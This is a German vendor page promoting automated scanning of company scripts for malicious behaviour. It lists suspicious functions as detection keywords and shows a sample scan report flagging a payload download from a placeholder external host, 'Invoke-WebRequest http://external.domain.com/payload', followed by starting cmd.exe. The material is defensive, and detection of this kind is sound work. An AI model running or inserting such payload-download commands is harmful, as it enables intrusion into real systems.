Skripte – Segen für die Automatisierung, Risiko für die IT-Sicherheit
Skripte gehören zum Alltag in der IT: PowerShell, Bash, Python, VBA oder einfache Batch-Dateien steuern Deployments, Auswertungen, Schnittstellen oder Automatisierungen. Gleichzeitig sind sie oft nicht dokumentiert, nicht geprüft – und in vielen Fällen nicht kontrolliert.
Dabei sind genau solche Skripte ein häufig genutzter Angriffsweg:
- Ein Powershell-Skript lädt still und heimlich Dateien aus dem Internet
- Ein Makro versendet Daten per Outlook automatisch weiter
- Ein Bash-Skript überschreibt Logs oder Konfigurationen
Das Problem: Skripte sind Textdateien, leicht manipulierbar und schwer zu überwachen.
Was ist Schadcode in Skripten überhaupt?
Schadcode ist nicht nur klassische Malware – sondern jede Funktion, die bewusst oder unbewusst Schaden anrichten kann. Typische Beispiele:
- Netzwerkzugriffe:
Invoke-WebRequest
,curl
,URLDownloadToFile
- Codeausführung:
Shell
,Exec
,Start-Process
- Systemzugriff: Registry ändern, Dateien löschen, Benutzerkonten manipulieren
- COM-Objekte mit Nebenwirkungen:
CreateObject("Scripting.FileSystemObject")
- Obfuskation: Base64-encodierter oder verschleierter Code
Warum das Problem so verbreitet ist
Viele IT-Teams arbeiten mit Skripten, die über Jahre gewachsen sind:
- Skripte werden per E-Mail, Fileshare oder Chat geteilt
- Es gibt keine zentrale Verwaltung
- Neue Skripte stammen von Tools, Kollegen oder aus Foren
- Sicherheitsprüfungen sind nicht etabliert
- Einmal aktivierte Skripte laufen still im Hintergrund
Gerade in stark automatisierten Umgebungen (z. B. mit Cronjobs, GPOs, RPA oder Makros) kann Schadcode unbemerkt jahrelang aktiv sein.
Die Lösung: Automatische Prüfung aller Skripte auf Schadverhalten
Wir bieten eine Lösung, die genau das automatisiert: Alle Skripte im Unternehmen werden geprüft – noch bevor sie produktiv eingesetzt oder signiert werden.
Unterstützte Formate:
- PowerShell (
.ps1
,.psm1
) - Batch-Dateien (
.bat
,.cmd
) - Bash (
.sh
) - VBA in Excel, Word, Outlook (
.xlsm
,.xla
,.docm
,.otm
) - Python (
.py
) - PHP, Perl, JS, uvm.
Ablauf:
- Skript wird erkannt – z. B. durch Datei-Upload, CLI, CI/CD oder Verzeichnisüberwachung
- Analyse mit Erkennung bekannter Muster, Schlüsselwörter und Verhaltensweisen
- Klassifikation: unbedenklich, auffällig, kritisch
- Protokollierung mit Dateiname, Zeilennummer und Fundstellen
- Optional: Übergabe zur manuellen Freigabe oder automatische Blockierung
Beispielausgabe:
yamlKopierenBearbeitenSkript: daily_report.ps1
Status: kritisch
Gefundene Funktionen:
- Zeile 42: Invoke-WebRequest "http://external.domain.com/payload"
- Zeile 88: Start-Process "cmd.exe"
Empfehlung: manuelle Prüfung erforderlich
Integration in Ihre Prozesse
Unsere Lösung lässt sich nahtlos in bestehende Strukturen integrieren:
- Automatisierter Scan von Netzlaufwerken, Repositories, Team-Verzeichnissen
- CI/CD-Pipeline-Integration per REST API
- Upload-Portal für manuelle oder externe Einreichungen
- Verknüpfung mit Code Signing: Nur geprüfte Skripte werden signiert
Fazit
Wer Skripte im Unternehmen ohne Prüfung einsetzt, riskiert Datenverlust, Angriffe und Auditschäden.
Eine automatisierte Skriptprüfung schützt Ihre IT-Infrastruktur, sorgt für Compliance und ermöglicht den sicheren Einsatz von Automatisierung.
Nächster Schritt
Unsere Lösung analysiert Skripte auf Wunsch auch retrospektiv – etwa beim ersten Rollout.
Gern richten wir eine Testumgebung ein oder zeigen Ihnen live, wie unsere Prüfengine funktioniert.
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